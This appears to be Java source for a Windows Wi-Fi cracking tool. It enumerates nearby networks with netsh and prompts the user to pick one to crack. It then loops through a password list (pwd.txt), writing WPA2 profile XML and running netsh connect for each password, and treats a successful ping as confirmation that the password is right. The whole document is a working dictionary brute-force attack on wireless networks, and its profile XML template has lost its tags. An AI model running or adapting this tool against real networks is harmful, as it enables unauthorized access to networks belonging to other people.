package com.znkeji.zn_wifi_carck.utils;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
/**
* @Author zy.xuan
* @Date 2022/5/4 14:56
*
* cmd需要的工具类
*/
public class CmdUtils {
/**
* 该方法封装了执行cmd的方法
*
* @param cmd CMD命令
* @param filePath 需要在哪个目录下执行
*/
public static List<String> execute(String cmd, String filePath) {
Process process = null;
List<String> result = new ArrayList<String>();
try {
if (filePath != null) {
process = Runtime.getRuntime().exec(cmd, null, new File(filePath));
} else {
process = Runtime.getRuntime().exec(cmd);
}
BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk"));
String line = null;
while ((line = bReader.readLine()) != null) {
result.add(line);
}
} catch (IOException e) {
e.printStackTrace();
}
return result;
}
}
package com.znkeji.zn_wifi_carck.utils;
/**
* @Author zy.xuan
* @Date 2022/5/4 14:56
*
* 字符串工具类
*/
public class StringUtils {
/**
* 字符串转换成为16进制(无需Unicode编码)
*
* @param str
* @return
*/
public static String str2HexStr(String str) {
char[] chars = "0123456789ABCDEF".toCharArray();
StringBuilder sb = new StringBuilder("");
byte[] bs = str.getBytes();
int bit;
for (int i = 0; i < bs.length; i++) {
bit = (bs[i] & 0x0f0) >> 4;
sb.append(chars[bit]);
bit = bs[i] & 0x0f;
sb.append(chars[bit]);
// sb.append(' ');
}
return sb.toString().trim();
}
}
package com.znkeji.zn_wifi_carck.utils;
/**
* @Author zy.xuan
* @Date 2022/5/4 14:56
*
* WiFi工具类
*/
public class WiFiUtils {
/**
* 获得wifi配置文件字符串
*
* @param WIFI_NAME
* @param hex
* @param WIFI_PASSWORD
* @return
*/
public static String getWifiStr(String WIFI_NAME, String hex, String WIFI_PASSWORD) {
return "\n" +
"\n" +
"\t" + WIFI_NAME + "\n" +
"\t\n" +
"\t\t\n" +
"\t\t\t" + hex + "\n" +
"\t\t\t" + WIFI_NAME + "\n" +
"\t\t\n" +
"\t\n" +
"\tESS \n" +
"\tauto \n" +
"\t\n" +
"\t\t\n" +
"\t\t\t\n" +
"\t\t\t\tWPA2PSK \n" +
"\t\t\t\tAES \n" +
"\t\t\t\tfalse \n" +
"\t\t\t\n" +
"\t\t\t\n" +
"\t\t\t\tpassPhrase \n" +
"\t\t\t\tfalse \n" +
"\t\t\t\t" + WIFI_PASSWORD + "\n" +
"\t\t\t\n" +
"\t\t\n" +
"\t\n" +
"\t\n" +
"\t\tfalse \n" +
"\t\n" +
"\n";
}
}
package com.znkeji.zn_wifi_carck.utils;
import com.znkeji.zn_wifi_carck.App;
import org.springframework.util.FileCopyUtils;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;
/**
* @Author zy.xuan
* @Date 2022/5/4 15:00
*/
public class ConnectionUtils {
public static void connection() throws IOException {
List<String> wifiList = CmdUtils.execute("netsh wlan show networks mode=bssid", "./");
List<String> ssidList = getSsidList(wifiList);
for (int i = 0; i < ssidList.size(); i++) {
System.out.println((i + 1) + "." + ssidList.get(i));
}
System.out.println("请输入要破解的wifi:");
Scanner sca = new Scanner(System.in);
sca.useDelimiter("\n");
String ssid = sca.next();
System.out.println("-----------您选择的wifi为【" + ssid + "】-------------");
System.out.println("-----------开始破解-------------");
String path = App.class.getClassLoader().getResource("pwd.txt").getPath();
BufferedReader reader = new BufferedReader(new FileReader(path));
String pwd = null;
int i = 0;
while ((pwd = reader.readLine()) != null) {
i++;
System.out.println("开始连接:" + i + " -->" + ssid + " - " + pwd);
boolean success = connect(ssid, pwd);
if (success) {
System.out.println("连接成功," + ssid + "的密码为" + pwd);
return;
}
}
}
/**
* 连接wifi
*
* @param ssid
* @param wifiPwd
*/
private static boolean connect(String ssid, String wifiPwd) {
try {
String hex = StringUtils.str2HexStr(ssid);
//生成wifi配置文件
String wifiConf = WiFiUtils.getWifiStr(ssid, hex, wifiPwd);
File out = new File("./temp.xml");
FileCopyUtils.copy(wifiConf.getBytes(), out);
//添加配置文件
printList(CmdUtils.execute("netsh wlan add profile filename=temp.xml", "./"));
;
//连接wifi
printList(CmdUtils.execute("netsh wlan connect name=\"" + ssid + "\"", "./"));
;
//测试网络,使用ping的方式检测网络,此处建议优化改其他效率更高的方式,暂停2000毫秒是因为连接WiFi需要时间,这个时间因环境而异
CmdUtils.execute("ipconfig", "./");
Thread.sleep(2000);
boolean success = ping();
return success;
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
/**
* 获得ssidList
*
* @param resultList 通过cmd命令查出来的附件WiFi
* @return
*/
private static List<String> getSsidList(List<String> resultList) {
List<String> ssidList = new ArrayList<String>();
//遍历result获得ssid
for (String result : resultList) {
if (result.startsWith("SSID")) {
String ssid = result.substring(result.indexOf(":") + 2);
ssidList.add(ssid);
}
}
return ssidList;
}
/**
* 打印list数据
*
* @param resultList
*/
private static void printList(List<String> resultList) {
for (String result : resultList) {
System.out.println(result);
}
}
/**
* ping 校验
*/
private static boolean ping() {
boolean pinged = false;
String cmd = "ping www.baidu.com";
List<String> result = CmdUtils.execute(cmd, "./");
// printList(result);
if (result != null && result.size() > 0) {
for (String item : result) {
if (item.contains("来自")) {
pinged = true;
break;
}
}
}
return pinged;
}
}
https://gitee.com/xuanyuanzy/wi-fi